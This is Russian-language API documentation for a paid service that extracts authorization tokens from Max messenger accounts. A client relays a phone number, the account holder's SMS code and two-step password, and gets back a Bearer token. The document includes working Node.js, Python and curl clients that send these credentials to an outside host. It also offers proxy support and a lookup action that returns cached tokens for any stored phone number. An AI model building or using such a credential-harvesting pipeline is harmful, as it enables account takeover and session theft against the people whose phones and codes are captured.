Быстрый старт

Skynet предоставляет WebSocket-интерфейс для автоматической конвертации Max-аккаунтов — извлечения токенов авторизации. Получите API-ключ на странице покупки и подключайтесь.

Минимальный пример (Node.js)

const WebSocket = require('ws'); const ws = new WebSocket('ws://api.citadel1488.info', { headers: { 'X-API-Key': 'YOUR_API_KEY' } }); ws.on('open', () => { ws.send(JSON.stringify({ action: 'start', phone: '+79991234567', proxy: 'socks5://user:pass@1.2.3.4:1080', // optional })); }); ws.on('message', raw => { const e = JSON.parse(raw); console.log(e); if (e.status === 'pending_sms') { // Запросите SMS-код у пользователя и отправьте: ws.send(JSON.stringify({ action: 'code', id: e.id, code: '123456' })); } if (e.status === 'done') { console.log('Token:', e.token, 'ViewerID:', e.viewerId); ws.close(); } });

Аутентификация

API-ключ передаётся при подключении одним из способов:

// Вариант 1 — query-параметр wss://api.citadel1488.info?key=YOUR_API_KEY // Вариант 2 — заголовок headers: { 'X-API-Key': 'YOUR_API_KEY' }

Если ключ недействителен или лимит исчерпан — соединение закрывается с кодом 4401 или 4429.

Лимиты

Каждый ключ имеет два типа ограничений:

При превышении лимита сервер ответит событием error с причиной day_limit_exceeded или concurrent_limit_exceeded.

WebSocket — Подключение

WS wss://api.citadel1488.info

После успешного подключения сервер ждёт первое действие. Тайм-аут сессии — 10 минут.

start — начать конвертацию

Запускает процесс авторизации для указанного номера телефона.

ПолеТипОписание
actionstring"start"
phonestring *Номер в формате +7XXXXXXXXXX
proxystring ?socks5://user:pass@host:port или http://...
{ "action": "start", "phone": "+79991234567", "proxy": "socks5://user:pass@1.2.3.4:1080" }

Возможные ответы

cached Токен уже в базе
{ "status": "cached", "token": "...", "phone": "+7...", "viewerId": 123456 }
pending_sms Ожидает SMS-кода
{ "status": "pending_sms", "id": "uuid", "code_length": 6 }
error Ошибка
{ "status": "error", "error": "day_limit_exceeded" }

code — отправить SMS-код

Отправляется после получения события pending_sms.

ПолеТипОписание
actionstring"code"
idstring *ID сессии из pending_sms
codestring *SMS-код (обычно 6 цифр)
{ "action": "code", "id": "uuid", "code": "123456" }

Возможные ответы после кода

done Конвертация завершена
{ "status": "done", "id": "uuid", "token": "Bearer eyJ...", "viewerId": 123456 }
pending_password Требуется пароль аккаунта
{ "status": "pending_password", "id": "uuid" }

password — отправить пароль

Отправляется после получения события pending_password (двухэтапная проверка).

{ "action": "password", "id": "uuid", "password": "mypassword" }

lookup — проверить кэш

Проверяет, есть ли токен для номера в базе. Не тратит лимит конвертации.

{ "action": "lookup", "phone": "+79991234567" }
found
{ "status": "found", "phone": "+7...", "token": "Bearer eyJ...", "viewerId": 123456 }
not_found
{ "status": "not_found", "phone": "+7..." }

События сервера

statusОписание
cachedТокен найден в базе, возвращён без конвертации
pending_smsSMS отправлена, ожидается код
pending_passwordТребуется пароль аккаунта
doneКонвертация завершена, токен получен
foundlookup: номер найден в кэше
not_foundlookup: номер не найден
logПрогресс-лог: { status: "log", message: "..." }
errorОшибка: { status: "error", error: "reason" }

GET /health

Публичный эндпоинт. Возвращает статус сервера и статистику.

200
{ "ok": true, "accounts": 1042, "sessions": 3 }

Пример — Node.js (полный поток)

const WebSocket = require('ws'); const readline = require('readline'); const rl = readline.createInterface({ input: process.stdin }); const ask = q => new Promise(r => rl.question(q, r)); async function convert(phone) { const ws = new WebSocket('ws://api.citadel1488.info', { headers: { 'X-API-Key': 'YOUR_KEY' } }); ws.on('open', () => ws.send(JSON.stringify({ action: 'start', phone }))); ws.on('message', async raw => { const e = JSON.parse(raw); if (e.status === 'log') { console.log('[log]', e.message); return; } if (e.status === 'cached' || e.status === 'done') { console.log('✓ Token:', e.token); ws.close(); rl.close(); return; } if (e.status === 'pending_sms') { const code = await ask(`SMS-код (${e.code_length} цифр): `); ws.send(JSON.stringify({ action: 'code', id: e.id, code })); } if (e.status === 'pending_password') { const pwd = await ask('Пароль аккаунта: '); ws.send(JSON.stringify({ action: 'password', id: e.id, password: pwd })); } if (e.status === 'error') { console.error('Error:', e.error); ws.close(); } }); } convert('+79991234567');

Пример — Python

import asyncio, json, websockets async def convert(phone: str, api_key: str): uri = f"ws://api.citadel1488.info?key={api_key}" async with websockets.connect(uri) as ws: await ws.send(json.dumps({"action": "start", "phone": phone})) async for msg in ws: e = json.loads(msg) if e["status"] == "log": continue if e["status"] in ("done", "cached"): print("Token:", e["token"]); break if e["status"] == "pending_sms": code = input(f"SMS-код ({e['code_length']} цифр): ") await ws.send(json.dumps({"action":"code","id":e["id"],"code":code})) if e["status"] == "error": print("Error:", e["error"]); break asyncio.run(convert("+79991234567", "YOUR_KEY"))

Пример — curl (health check)

curl https://api.citadel1488.info/health

Коды ошибок

Код / причинаОписание
invalid_keyAPI-ключ не найден или деактивирован
day_limit_exceededИсчерпан дневной лимит конвертаций
concurrent_limit_exceededПревышено кол-во одновременных сессий
session_timeoutСессия не завершена за 10 минут
wrong_codeНеверный SMS-код
wrong_passwordНеверный пароль аккаунта
phone_floodСлишком много попыток, флуд-ограничение
browser_errorВнутренняя ошибка браузерного этапа
unknown_actionНеизвестный тип action в запросе